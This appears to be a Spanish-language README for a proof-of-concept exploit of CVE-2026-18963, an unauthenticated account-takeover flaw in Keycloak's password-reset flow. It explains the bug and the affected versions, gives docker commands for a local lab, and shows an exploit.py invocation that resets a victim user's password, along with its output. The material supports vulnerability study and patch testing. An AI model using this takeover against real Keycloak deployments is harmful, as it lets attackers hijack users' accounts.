
Prueba de concepto de exploit para CVE-2026-18963, que demuestra la toma de control de cuentas sin autenticación al eludir el flujo de restablecimiento de credenciales en aplicaciones web.
★ CVE-2026-18963 PoC de omisión del flujo de restablecimiento de credenciales de Keycloak ★
https://github.com/user-attachments/assets/ebed1e64-a40c-4333-be18-9acbadd655b0
CVE-2026-18963 es una vulnerabilidad crítica de toma de control de cuenta sin autenticación en el componente
keycloak-servicesde Keycloak (CVSS 9.1). Un fallo en la máquina de estados de autenticación del restablecimiento de credenciales permite a un atacante remoto omitir el paso de verificación por correo electrónico y llegar al formulario de actualización de contraseña sin poseer el enlace de restablecimiento. Al dirigirse a un nombre de usuario conocido, un atacante puede establecer una nueva contraseña y tomar el control de la cuenta de la víctima sin autenticación ni interacción del usuario.
El flujo vulnerable almacena el estado del selector de credenciales como una nota de autenticación a nivel de sesión en lugar de vincularlo a la ejecución que mostró el selector. Por lo tanto, volver a entrar en el flujo de restablecimiento puede reutilizar el estado obsoleto del selector para otra ejecución. En las versiones afectadas, el autenticador de correo de restablecimiento también acepta una acción sin confirmar que se haya alcanzado mediante un token de acción de correo válido. Encadenando estos comportamientos, el atacante avanza directamente a UPDATE_PASSWORD.
| Categoría | Versión |
|---|---|
| Vulnerable | Keycloak 26.0.0 ≤ versión < 26.4.15 |
| Vulnerable | Keycloak 26.5.0 ≤ versión < 26.6.6 |
| Vulnerable | Keycloak 26.7.0 ≤ versión < 26.7.2 |
| Parcheada | 26.4.15, 26.6.6, 26.7.2 (ramas de publicación respectivas) |
Este laboratorio utiliza Keycloak 26.7.1.
Compile y ejecute el entorno vulnerable de Keycloak 26.7.1. La imagen importa un realm de prueba con el flujo vulnerable de restablecimiento de credenciales habilitado, una cuenta victim preconfigurada y un portal EQST con una página de flag protegida.
docker build -t cve-2026-18963 .
docker run --rm -d \
--name cve-2026-18963 \
-p 9105:9105 \
-e PORTAL_PUBLIC_URL=http://127.0.0.1:9105 \
cve-2026-18963
Espere a que Keycloak se inicie y luego abra el portal:
http://127.0.0.1:9105
| Requisito previo | Estado en este laboratorio |
|---|---|
| Keycloak | 26.7.1 (vulnerable) |
| Realm | cve-lab |
| Contraseña olvidada | habilitado |
| Cuenta objetivo | victim |
| URL base de Keycloak | http://127.0.0.1:9105/keycloak |
El script exploit.py incluido automatiza la manipulación del estado del flujo de restablecimiento, solicita el formulario de actualización de contraseña sin consumir un token de acción de correo, cambia la contraseña de la víctima y verifica la toma de control solicitando un token de acceso con las nuevas credenciales.
Instale la dependencia de Python:
python3 -m pip install requests
Ejecute el exploit con la URL de Keycloak, el nombre de usuario de la víctima y una nueva contraseña:
# python3 exploit.py <keycloak-url> <victim> <new-password>
python3 exploit.py \
http://127.0.0.1:9105/keycloak \
victim \
'NewPassword1!'
Una ejecución exitosa imprime:
[*] selector note set via tryAnotherWay
[*] victim submitted: victim
[*] update-password form served without an action token
[+] VULNERABLE - victim password is now 'NewPassword1!'
Abra http://127.0.0.1:9105, haga clic en LOGIN y autentíquese como victim con la nueva contraseña para confirmar la toma de control de la cuenta.